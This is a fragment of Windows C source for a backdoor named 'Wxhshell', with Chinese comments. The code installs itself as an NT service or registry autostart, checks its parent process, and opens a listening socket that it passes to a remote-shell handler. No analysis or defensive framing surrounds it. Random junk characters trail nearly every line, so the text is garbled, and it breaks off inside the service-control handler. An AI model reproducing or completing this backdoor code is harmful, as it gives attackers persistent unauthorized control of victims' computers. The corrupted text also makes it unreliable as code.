ULONG InheritedFromUniqueProcessId; iN.n8MN=I
} PROCESS_BASIC_INFORMATION; $<OD31T
y>ktcuML
PROCNTQSIP NtQueryInformationProcess; eszG0Wu
~F#j#n(=`q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^=*;X;7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]I6 J7A[
&xExyz~`
HANDLE hProcess; A":T1s
PROCESS_BASIC_INFORMATION pbi; @PIp*[7oC
8xMX
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vw@S>GlGg
if(NULL == hInst ) return 0; Ni7nq8B<
-I%5$`z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rSNi@;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c[s4EUG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (w zQ2Dk
?r!o~|9|
if (!NtQueryInformationProcess) return 0; [<TrS/,)>
"EJ~QCW*Yh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -ze J#B)C
if(!hProcess) return 0; R^e'}+Z
K.yb
^dg5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 23jwAsSo
,]/X\t5]D
CloseHandle(hProcess); T6kdS]4-
]K%!@O!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]JR +ayk7
if(hProcess==NULL) return 0; M'l ;:
OB}Ib]
HMODULE hMod; yF/j Fn
char procName[255]; aQI(Y^&%3
unsigned long cbNeeded; BLJj(-
@[v~y"tE}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,wPr"U+7
~bpgSP"
CloseHandle(hProcess); r@,2E6xn
]]Ufas9
if(strstr(procName,"services")) return 1; // 以服务启动 i{qgn%#}Y
Yoll?_k+
return 0; // 注册表启动 x$(f7?s] 1
} HtYwEj I
e8b:)"R
// 主模块 Vf1^4t
int StartWxhshell(LPSTR lpCmdLine) Dum9lj
{ k==h|\|
SOCKET wsl; AwF:Iu^3n
BOOL val=TRUE; 8Cv?Z.x5
int port=0; h@wgd~X9
struct sockaddr_in door; Z5]>pJFq,
l9H!au=
if(wscfg.ws_autoins) Install(); r,2g^K)6
rQ snhv
port=atoi(lpCmdLine); '}#9)}x!
Ef{Vp;]
if(port<=0) port=wscfg.ws_port; UR5`ue ;
;xn0;V'=
WSADATA data; J4U1t2@)9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [opGZ`>)j"
Qe(:|q_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ku
M$UYTTX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h!9ei6
door.sin_family = AF_INET; mRK>U$v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); G .4X'
door.sin_port = htons(port); ]
@fk] ]R
|(^PS8wG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 11;zNjD|
closesocket(wsl); @`Su0W+.
return 1; % %UE+u@J
} Y\'}a+:@Ph
+x}<IS8
if(listen(wsl,2) == INVALID_SOCKET) { Fv`,3aNB
closesocket(wsl); X#;bh78&-
return 1; Ilm^G}GB
} Rbv;?'O$L
Wxhshell(wsl); "-V"=t'
WSACleanup(); ?!/kZM_ts
Eu04e N
return 0; seeBS/%
El"Q'(:/U
} {H'Y `+
o*hF<D$Y
// 以NT服务方式启动 FHI ;)wn=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a7%]Y}$
{ |]*/R^1>2
DWORD status = 0; ;i+#fQO7Q
DWORD specificError = 0xfffffff; 8DaL,bi*.
^sWT:BDh
serviceStatus.dwServiceType = SERVICE_WIN32; lks!w/yCF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8, >P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d m%8K6|
serviceStatus.dwWin32ExitCode = 0; "kqPmeI
serviceStatus.dwServiceSpecificExitCode = 0; hP&Bt
serviceStatus.dwCheckPoint = 0; U~7c+}:c
serviceStatus.dwWaitHint = 0; ufT`"i
m&yJzMW|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '1/i"yoW
if (hServiceStatusHandle==0) return; |$_sX9\`?|
@U}1EC{A
status = GetLastError(); H}
g{Cr"Ex
if (status!=NO_ERROR) BIL Lq8)
{ jWfa;&Ra
serviceStatus.dwCurrentState = SERVICE_STOPPED; u\JNr}bL
serviceStatus.dwCheckPoint = 0; 3sZ\0P}
serviceStatus.dwWaitHint = 0; _zMW=nypdx
serviceStatus.dwWin32ExitCode = status; xKp4*[}m
serviceStatus.dwServiceSpecificExitCode = specificError; =_u4=4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3=ymm^
return; u> 7=AlWF-
} VyGJ=[ ]
N ZSSg2TX#
serviceStatus.dwCurrentState = SERVICE_RUNNING; UFuX@Lu0
serviceStatus.dwCheckPoint = 0; .kfIi^z
serviceStatus.dwWaitHint = 0; &@YmA1Yu)E
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Ep\Z 6*
} !%0 *z
Ma"]PoP
// 处理NT服务事件,比如:启动、停止 IPo?:1x]s
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;4~hB
{ W5MTD]J
switch(fdwControl) Q]>.b%s[
{ 1&Z